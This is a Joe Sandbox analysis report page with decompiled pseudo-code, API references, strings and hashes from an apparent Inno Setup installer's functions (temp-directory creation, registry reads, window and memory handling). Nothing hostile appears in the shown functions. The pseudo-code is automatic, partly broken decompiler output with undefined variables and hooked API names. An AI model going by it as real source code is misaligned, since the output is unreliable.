Part of subcall function 00451C94: 6C8D5550.KERNEL32(00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00451D2D,?,?,?,?,00000000,?,0048B7AC), ref: 00451CD4

Part of subcall function 00466368: RegisterClipboardFormatA.USER32 ref: 0046636D

SetErrorMode.KERNEL32(00000001,00000000,0048B7FE), ref: 0048B7D0

Part of subcall function 0048B568: GetModuleHandleA.KERNEL32(user32.dll,DisableProcessWindowsGhosting,0048B7DA,00000001,00000000,0048B7FE), ref: 0048B572
Part of subcall function 0048B568: 6C8D5550.KERNEL32(00000000,user32.dll,DisableProcessWindowsGhosting,0048B7DA,00000001,00000000,0048B7FE), ref: 0048B578

Part of subcall function 0042459C: SendMessageA.USER32 ref: 004245BB

Part of subcall function 0042438C: SetWindowTextA.USER32(?,00000000), ref: 004243A4

ShowWindow.USER32(?,00000005,00000000,0048B7FE), ref: 0048B831

Part of subcall function 00477240: SetActiveWindow.USER32(?), ref: 004772DA

Strings

Setup, xrefs: 0048B817

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: HandleModule$D5550$Window$ActiveClipboardCommandCurrentErrorFormatInitializeLineMessageModeRegisterSendShowTextThreadVersion
String ID: Setup
API String ID: 1906813367-3839654196
Opcode ID: 73dd2796517a7e24d17ffc93994b351d99c23e78418e73e458febebc51486027
Instruction ID: 64d8c448c096c2f6580127d36ea2c8f862acc3958c68ac9c2a5694fa641c873f
Opcode Fuzzy Hash: 73dd2796517a7e24d17ffc93994b351d99c23e78418e73e458febebc51486027
Instruction Fuzzy Hash: 7C31C4717046049ED211BBB7EC1392D37A8DB89728B52487FF80496AA2DB3C58508B7E

Uniqueness

Uniqueness Score: -1.00%

Function 00452404 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00452404(void* __eax, long __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				int _t30;
				intOrPtr _t62;
				void* _t72;
				intOrPtr _t75;

				_t70 = __edi;
				_t53 = __ebx;
				_t54 = 0;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(__ebx);
				_push(__edi);
				_t72 = __eax;
				_push(_t75);
				_push(0x4524f3);
				_push( *[fs:eax]);
				 *[fs:eax] = _t75;
				while(1) {
					E0042D8BC( &_v12, _t53, _t54, _t70, _t72); // executed
					_t54 = 0x45250c;
					E00452190(0, _t53, 0x45250c, _v12, _t70, _t72,  &_v8); // executed
					_t30 = CreateDirectoryA(E00403880(_v8), 0); // executed
					if(_t30 != 0) {
						break;
					}
					_t53 = GetLastError();
					if(_t38 != 0xb7) {
						E00450B18(0x2f,  &_v28, _v8);
						_v24 = _v28;
						E00406DFC(_t53,  &_v32);
						_v20 = _v32;
						E0042E6D0(_t53,  &_v36);
						_v16 = _v36;
						E00450AE8(0x60, 2,  &_v24,  &_v12);
						_t54 = _v12;
						E00408CA0(_v12, 1);
						E00403264();
					}
				}
				E004035DC(_t72, _v8);
				_pop(_t62);
				 *[fs:eax] = _t62;
				_push(E004524FA);
				E00403568( &_v36, 3);
				return E00403568( &_v12, 2);
			}

0x00452404
0x00452404
0x00452407
0x00452409
0x0045240a
0x0045240b
0x0045240c
0x0045240d
0x0045240e
0x0045240f
0x00452410
0x00452411
0x00452413
0x00452414
0x00452418
0x00452419
0x0045241e
0x00452421
0x00452424
0x0045242b
0x00452433
0x0045243a
0x0045244a
0x00452451
0x00000000
0x00000000
0x00452458
0x00452460
0x0045246e
0x00452476
0x0045247e
0x00452486
0x0045248e
0x00452496
0x004524a3
0x004524a8
0x004524b2
0x004524b7
0x004524b7
0x00452460
0x004524c6
0x004524cd
0x004524d0
0x004524d3
0x004524e0
0x004524f2

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,004524F3,?,?,00000000,0048D628,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0045244A
GetLastError.KERNEL32(00000000,00000000,?,00000000,004524F3,?,?,00000000,0048D628,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00452453

Strings

.tmp, xrefs: 00452433

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: .tmp
API String ID: 1375471231-2986845003
Opcode ID: 3d8a0fc9d76ea684d9b8ffdb5fa20424f3177d473ad327c50664e8b149708a35
Instruction ID: 262ed652606ecd4b24f84628cd2d186957f5f2011fffa4f2ae7386c47ef5af69
Opcode Fuzzy Hash: 3d8a0fc9d76ea684d9b8ffdb5fa20424f3177d473ad327c50664e8b149708a35
Instruction Fuzzy Hash: A6216775A00308ABDB00EFA5C9829DFB7B9EF45305F50457BF801B7342DA7CAE059A68

Uniqueness

Uniqueness Score: -1.00%

Function 00471D7C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00471D7C(void* __eflags) {
				void* _v8;
				void* __ecx;
				void* _t11;
				long _t17;

				_t11 = E0042DCB4(0,  *0x0048CBB4, 0x80000002,  &_v8, 1, 0); // executed
				if(_t11 == 0) {
					E0042DBE4();
					E0042DBE4();
					_t17 = RegCloseKey(_v8); // executed
					return _t17;
				}
				return _t11;
			}

0x00471d9d
0x00471da4
0x00471db3
0x00471dc5
0x00471dce
0x00000000
0x00471dce
0x00471dd5

APIs

Part of subcall function 0042DCB4: 6C8D6790.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004783BF,?,00000001,?,?,004783BF,?,00000001,00000000), ref: 0042DCD0

RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,00471FF2,00000000,00472008,?,?,?,?,00000000,?,0048A00F), ref: 00471DCE

Strings

RegisteredOwner, xrefs: 00471DAB
RegisteredOrganization, xrefs: 00471DBD

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CloseD6790
String ID: RegisteredOrganization$RegisteredOwner
API String ID: 3513276378-1113070880
Opcode ID: dc05276a867758ad81d07b72ee8a5d4e484fc6874cae0e0d7aca52102206a260
Instruction ID: 8fc1018621d838178f304ddf61fa62f48c71e0651657994db2425d214e1c5cfd
Opcode Fuzzy Hash: dc05276a867758ad81d07b72ee8a5d4e484fc6874cae0e0d7aca52102206a260
Instruction Fuzzy Hash: A8F0A735B0814867CB00E6A6DD53B9E33A9DB45304F50807BA1049B251D6B9FE00CB1C

Uniqueness

Uniqueness Score: -1.00%

Function 0046CCF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E0046CCF4(void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4) {
				void* __ebx;
				void* __ebp;
				void* _t10;
				intOrPtr _t13;
				void* _t16;

				_push(0);
				_push(0x80);
				_push(1);
				_push(0);
				_push(0);
				_push(0xc0000000);
				_t10 = E00403880( *((intOrPtr*)( *((intOrPtr*)(_a4 + 8)) - 0x14)));
				_push(_t10); // executed
				L00405964(); // executed
				_t16 = _t10;
				_t21 = _t16 - 0xffffffff;
				if(_t16 == 0xffffffff) {
					E00451E44("CreateFile", _t16, __ecx, __edi, __esi, _t21);
				}
				CloseHandle(_t16);
				_t13 =  *((intOrPtr*)(_a4 + 8));
				 *((char*)(_t13 - 0x19)) = 1;
				return _t13;
			}

0x0046ccf8
0x0046ccfa
0x0046ccff
0x0046cd01
0x0046cd03
0x0046cd05
0x0046cd13
0x0046cd18
0x0046cd19
0x0046cd1e
0x0046cd20
0x0046cd23
0x0046cd2a
0x0046cd2a
0x0046cd30
0x0046cd38
0x0046cd3b
0x0046cd41

APIs

6C8D5CA0.KERNEL32(00000000,C0000000,00000000,00000000,00000001,00000080,00000000,00000000,?,0046CE7D), ref: 0046CD19
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000001,00000080,00000000,00000000,?,0046CE7D), ref: 0046CD30

Part of subcall function 00451E44: GetLastError.KERNEL32(00000000,00451EDC,?,?,00000000,00000000,00000005,00000000,00452922,?,?,00000000,0048D628,00000004,00000000,00000000), ref: 00451E68

Strings

CreateFile, xrefs: 0046CD25

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID: CreateFile
API String ID: 918212764-823142352
Opcode ID: 3680ab04b98c7e682a5ea15e78cc49168d68a7200676f9f33bd99848e270dfb8
Instruction ID: 76e8e47a53df292ffdc7bea0b17f0be981d9ce437e069099ed8f64ea5dbc2dde
Opcode Fuzzy Hash: 3680ab04b98c7e682a5ea15e78cc49168d68a7200676f9f33bd99848e270dfb8
Instruction Fuzzy Hash: 9CE0ED70340304AFE610A769DCC6F6A7B989B04778F108165FA84AF3E2D5B9ED44865D

Uniqueness

Uniqueness Score: -1.00%

Function 004063F4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004063F4(CHAR* __eax, long __ecx, CHAR* __edx, void* _a4, struct HINSTANCE__* _a8, struct HMENU__* _a12, struct HWND__* _a16, int _a20, int _a24, int _a28, int _a32) {
				struct HWND__* _t10;

				_t10 = CreateWindowExA(0, __eax, __edx, __ecx, _a32, _a28, _a24, _a20, _a16, _a12, _a8, _a4); // executed
				return _t10;
			}

0x0040641d
0x00406424

APIs

CreateWindowExA.USER32 ref: 0040641D

Strings

TApplication, xrefs: 0040641A
D7B, xrefs: 00406400, 00406403

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CreateWindow
String ID: D7B$TApplication
API String ID: 716092398-3833581397
Opcode ID: 85b28a6e909be971fa5c2b10f844aa2cfc1bbfc1f3ab945af7c68de878036d31
Instruction ID: 6f7591f20c68b61a58661acfffb9a3df5edb7f64d2e420099b873233bc7ca4e0
Opcode Fuzzy Hash: 85b28a6e909be971fa5c2b10f844aa2cfc1bbfc1f3ab945af7c68de878036d31
Instruction Fuzzy Hash: FEE002F2204309BFDB00DE8ADCC1DABB7ACFB4C654F844105BB1C972428275AC608B71

Uniqueness

Uniqueness Score: -1.00%

Function 00467A40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00467A40(void* __eax, void* __edx, intOrPtr _a4) {
				char _v8;
				void* __ecx;
				void* __ebp;
				void* _t12;
				char _t13;
				void* _t18;
				void* _t19;

				_v8 = _t13;
				_push(4);
				_t2 =  &_v8; // 0x4ae064
				_push(4);
				_push(0);
				_push(__edx);
				_push(__eax); // executed
				L00405934(); // executed
				if(__eax != 0) {
					return E004678B4(0, _t12,  *((intOrPtr*)(_a4 - 8)),  *((intOrPtr*)(_a4 - 4)), _t18, _t19, 0, __eax);
				}
				return __eax;
			}

0x00467a44
0x00467a47
0x00467a49
0x00467a4d
0x00467a4f
0x00467a51
0x00467a52
0x00467a53
0x00467a5a
0x00000000
0x00467a6b
0x00467a72

APIs

6C8D68C0.ADVAPI32(?,NoModify,00000000,00000004,dJ,00000004,00000001,?,00467ED2,?,?,00000000,00467F5F,?,_is1,00000001), ref: 00467A53

Strings

dJ, xrefs: 00467A49, 00467A4C
NoModify, xrefs: 00467A51

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID:
String ID: NoModify$dJ
API String ID: 0-800172441
Opcode ID: ef265a9e7851c235c186a3700bdf46a857a9b667ba4f3b1345bbfdb7c971a5dd
Instruction ID: 05bad810163c4ceb778b5726a376390f895694160466141ca5b05c7ce2be41b6
Opcode Fuzzy Hash: ef265a9e7851c235c186a3700bdf46a857a9b667ba4f3b1345bbfdb7c971a5dd
Instruction Fuzzy Hash: DBE04FB4604304BFEB04DBA5CD4AF6B77ACDB48724F104059BA089B390E674FE40C668

Uniqueness

Uniqueness Score: -1.00%

Function 0045A780 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 134
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E0045A780(intOrPtr __eax, void* __ebx, void* __edi, void* __esi) {
				char _v5;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				long _v24;
				void* _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _t94;
				intOrPtr _t104;
				intOrPtr _t117;
				signed int _t120;
				void* _t123;
				char _t124;
				void* _t127;
				void* _t142;

				_v32 = 0;
				_t104 = __eax;
				_push(_t127);
				_push(0x45a90e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t127 + 0xffffffdc;
				if( *((intOrPtr*)(__eax + 4))() != 1) {
					E0045A694(1);
				}
				if( *((intOrPtr*)(_t104 + 4))() != 4) {
					E0045A694(2);
				}
				if(_v12 < 0 || _v12 > 0x2000000) {
					E0045A694(7);
				}
				if(_v5 >= 0xe1) {
					E0045A694(3);
				}
				_v20 = 0;
				while(_v5 >= 0x2d) {
					_v20 = _v20 + 1;
					_v5 = _v5 - 0x2d;
				}
				_t123 = 0;
				while(_v5 >= 9) {
					_t123 = _t123 + 1;
					_v5 = _v5 - 9;
				}
				_v16 = 0;
				_t120 = E0045B378(_v16, _t123);
				if((_t120 & 0x00000003) != 0) {
					_t120 = (_t120 | 0x00000003) + 1;
				}
				_v24 = _v12 + _t120;
				if( *(_t104 + 0x20) != _v24) {
					E0045A724(_t104);
					_t94 = VirtualAlloc(0, _v24, 0x1000, 4); // executed
					 *(_t104 + 0x1c) = _t94;
					if( *(_t104 + 0x1c) == 0) {
						E00408C94();
					}
					 *(_t104 + 0x20) = _v24;
				}
				_v28 =  *(_t104 + 0x1c);
				 *((intOrPtr*)(_t104 + 0x10)) = 0x45a6f0;
				 *((intOrPtr*)(_t104 + 0x14)) = _t104;
				_t124 = E0045AD24(_v28, _v16, _t120, _t104 + 0x10, _v12, _v28 + _t120, _v20, _t123);
				_t142 = _t124 - 1;
				if(_t142 >= 0) {
					if(_t142 == 0) {
						E0045A694(4);
					} else {
						_v40 = _t124;
						_v36 = 0;
						E00407988("LzmaDecoderInit failed (%d)", 0,  &_v40,  &_v32);
						E0045A61C(_v32, _t104, 0, _t120, _t124);
					}
				}
				 *(_t104 + 0x18) = _v28;
				_pop(_t117);
				 *[fs:eax] = _t117;
				_push(0x45a915);
				return E00403548( &_v32);
			}

0x0045a78b
0x0045a78e
0x0045a792
0x0045a793
0x0045a798
0x0045a79b
0x0045a7ad
0x0045a7b4
0x0045a7b4
0x0045a7ca
0x0045a7d1
0x0045a7d1
0x0045a7da
0x0045a7ea
0x0045a7ea
0x0045a7f3
0x0045a7fa
0x0045a7fa
0x0045a801
0x0045a808
0x0045a80a
0x0045a80d
0x0045a811
0x0045a817
0x0045a81d
0x0045a81f
0x0045a820
0x0045a824
0x0045a82f
0x0045a83c
0x0045a844
0x0045a849
0x0045a849
0x0045a84f
0x0045a858
0x0045a85c
0x0045a86e
0x0045a873
0x0045a87a
0x0045a87c
0x0045a87c
0x0045a884
0x0045a884
0x0045a88a
0x0045a892
0x0045a899
0x0045a8b7
0x0045a8bb
0x0045a8be
0x0045a8c0
0x0045a8c9
0x0045a8c2
0x0045a8d4
0x0045a8d7
0x0045a8e5
0x0045a8ed
0x0045a8ed
0x0045a8c0
0x0045a8f5
0x0045a8fa
0x0045a8fd
0x0045a900
0x0045a90d

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0045A86E

Strings

-, xrefs: 0045A811
LzmaDecoderInit failed (%d), xrefs: 0045A8E0

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: AllocVirtual
String ID: -$LzmaDecoderInit failed (%d)
API String ID: 4275171209-4285503710
Opcode ID: 2337044e03c035ba93b57a1ab65d48600398ba90547c165009fdbdc3351e9445
Instruction ID: ce92a4b14172b7b8f146cae1f667dbe7964f9d3ccef1d9495d5c0d533edb85f3
Opcode Fuzzy Hash: 2337044e03c035ba93b57a1ab65d48600398ba90547c165009fdbdc3351e9445
Instruction Fuzzy Hash: A6519170A042089FDB00DFA9C44579EBBB4EF08305F1442AAE904E7243D778DD5A8B5A

Uniqueness

Uniqueness Score: -1.00%

Function 004244C4 Relevance: 4.6, APIs: 3, Instructions: 59
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004244C4(void* __eax) {
				struct tagMSG _v36;
				int _t16;
				int _t32;
				void* _t39;
				char* _t40;

				_t40 =  &(_v36.message);
				_t39 = __eax;
				_t32 = 0;
				_t16 = PeekMessageA( &_v36, 0, 0, 0, 1); // executed
				if(_t16 != 0) {
					_t32 = 1;
					if(_v36.message == 0x12) {
						 *((char*)(_t39 + 0x7c)) = 1;
					} else {
						 *_t40 = 0;
						if( *((short*)(_t39 + 0x96)) != 0) {
							 *((intOrPtr*)(_t39 + 0x94))();
						}
						if(E00424494(_t39,  &_v36) == 0 &&  *_t40 == 0 && E004243E0(_t39,  &_v36) == 0 && E00424430(_t39,  &_v36) == 0 && E004243BC(_t39,  &_v36) == 0) {
							TranslateMessage( &_v36);
							DispatchMessageA( &_v36); // executed
						}
					}
				}
				return _t32;
			}

0x004244c6
0x004244c9
0x004244cb
0x004244da
0x004244e1
0x004244e7
0x004244ee
0x00424568
0x004244f0
0x004244f0
0x004244fc
0x0042450a
0x0042450a
0x0042451d
0x00424557
0x00424561
0x00424561
0x0042451d
0x004244ee
0x00424573

APIs

PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 004244DA
TranslateMessage.USER32(?), ref: 00424557
DispatchMessageA.USER32 ref: 00424561

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: a3864dcb05f7fa3a1ae4aaac3fcf3cfd287155588397a3feda0b4a1d612d8563
Instruction ID: 50ce2c9e70e4eaae550d78c07e9c46089a6dadb1d18dfb0cfc0e9111bdecdfbf
Opcode Fuzzy Hash: a3864dcb05f7fa3a1ae4aaac3fcf3cfd287155588397a3feda0b4a1d612d8563
Instruction Fuzzy Hash: 501154303043206BDA21E664A94179B73D4DFC5B48F80481EFAC997382D7BDDD859B9A

Uniqueness

Uniqueness Score: -1.00%

Function 00401680 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 54
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401680(signed int __eax, void** __ecx, intOrPtr __edx) {
				signed int _v20;
				void** _v24;
				void* _t15;
				void** _t16;
				void* _t17;
				signed int _t27;
				intOrPtr* _t29;
				void* _t31;
				intOrPtr* _t32;

				_v24 = __ecx;
				 *_t32 = __edx;
				_t31 = __eax & 0xfffff000;
				_v20 = __eax +  *_t32 + 0x00000fff & 0xfffff000;
				 *_v24 = _t31;
				_t15 = _v20 - _t31;
				_v24[1] = _t15;
				_t29 =  *0x48d440; // 0x692454
				while(_t29 != 0x48d440) {
					_t17 =  *(_t29 + 8);
					_t27 =  *((intOrPtr*)(_t29 + 0xc)) + _t17;
					if(_t31 > _t17) {
						_t17 = _t31;
					}
					if(_t27 > _v20) {
						_t27 = _v20;
					}
					if(_t27 > _t17) {
						_t15 = VirtualAlloc(_t17, _t27 - _t17, 0x1000, 4); // executed
						if(_t15 == 0) {
							_t16 = _v24;
							 *_t16 = 0;
							return _t16;
						}
					}
					_t29 =  *_t29;
				}
				return _t15;
			}

0x00401687
0x0040168b
0x00401692
0x004016a7
0x004016af
0x004016b5
0x004016bb
0x004016be
0x00401702
0x004016c6
0x004016cc
0x004016d0
0x004016d2
0x004016d2
0x004016d8
0x004016da
0x004016da
0x004016e0
0x004016ed
0x004016f4
0x004016f6
0x004016fc
0x00000000
0x004016fc
0x004016f4
0x00401700
0x00401700
0x00401711

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 004016ED

Strings

T$i, xrefs: 004016BE, 00401702
D$i, xrefs: 00401683

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: AllocVirtual
String ID: D$i$T$i
API String ID: 4275171209-2756991575
Opcode ID: 623ec00aa2380b766de036dbdfdd6f0b09fa57e2f21e8112d72e2660bd701401
Instruction ID: 8e25b90ae9f864962d718719b52cc57e6420d8e0f8478eb6e4e12427a5fbc1b4
Opcode Fuzzy Hash: 623ec00aa2380b766de036dbdfdd6f0b09fa57e2f21e8112d72e2660bd701401
Instruction Fuzzy Hash: 76117CB2A057059FC3109F29CC80A2BB7E2EBC4765F15C93DE598AB3A5D635AC408789

Uniqueness

Uniqueness Score: -1.00%

Function 0041670C Relevance: 4.5, APIs: 3, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041670C(void* __eax) {
				int _t7;
				void* _t19;
				void* _t22;
				intOrPtr _t23;

				_t7 = __eax;
				_t19 = __eax;
				if( *(__eax + 0xc0) == 0) {
					 *((intOrPtr*)( *__eax + 0x64))();
					_t22 = __eax;
					SetPropA( *(__eax + 0xc0),  *0x48d5c8 & 0x0000ffff, __eax);
					_t7 = SetPropA( *(_t19 + 0xc0),  *0x48d5c6 & 0x0000ffff, _t22);
					_t23 =  *((intOrPtr*)(_t19 + 0x20));
					_t25 = _t23;
					if(_t23 != 0) {
						return SetWindowPos( *(_t19 + 0xc0), E004166C4(_t23, _t19, _t25), 0, 0, 0, 0, 0x13);
					}
				}
				return _t7;
			}

0x0041670c
0x0041670e
0x00416717
0x0041671d
0x00416720
0x00416732
0x00416747
0x0041674c
0x0041674f
0x00416751
0x00000000
0x0041676e
0x00416751
0x00416775

APIs

SetPropA.USER32(00000000,00000000), ref: 00416732
SetPropA.USER32(00000000,00000000), ref: 00416747
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,00000000,00000000,?,00000000,00000000), ref: 0041676E

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Prop$Window
String ID:
API String ID: 3363284559-0
Opcode ID: dcfb28db4e21e1347727ab6fef254df2d5c6776ae7acbe9f9cc92ac1cf30ba34
Instruction ID: 51db7ca5a9fce4f0319e037eda000c89f68284c9b22635f91d1590f0371f096d
Opcode Fuzzy Hash: dcfb28db4e21e1347727ab6fef254df2d5c6776ae7acbe9f9cc92ac1cf30ba34
Instruction Fuzzy Hash: 9AF0B271702210ABD710AF599C85FA632DCAB09719F1505BABD08EF2D6C679DC4487A8

Uniqueness

Uniqueness Score: -1.00%

Function 004014EC Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 37
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004014EC(void* __eax, void** __edx) {
				void* _t3;
				void** _t8;
				void* _t11;
				long _t14;

				_t8 = __edx;
				if(__eax >= 0x100000) {
					_t14 = __eax + 0x0000ffff & 0xffff0000;
				} else {
					_t14 = 0x100000;
				}
				_t8[1] = _t14;
				_t3 = VirtualAlloc(0, _t14, 0x2000, 1); // executed
				_t11 = _t3;
				 *_t8 = _t11;
				if(_t11 != 0) {
					_t3 = E004013A0(0x48d440, _t8);
					if(_t3 == 0) {
						VirtualFree( *_t8, 0, 0x8000);
						 *_t8 = 0;
						return 0;
					}
				}
				return _t3;
			}

0x004014ef
0x004014f9
0x00401508
0x004014fb
0x004014fb
0x004014fb
0x0040150e
0x0040151b
0x00401520
0x00401522
0x00401526
0x0040152f
0x00401536
0x00401542
0x00401549
0x00000000
0x00401549
0x00401536
0x0040154e

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,004017F5), ref: 0040151B
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,004017F5), ref: 00401542

Strings

T$i, xrefs: 0040152A

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
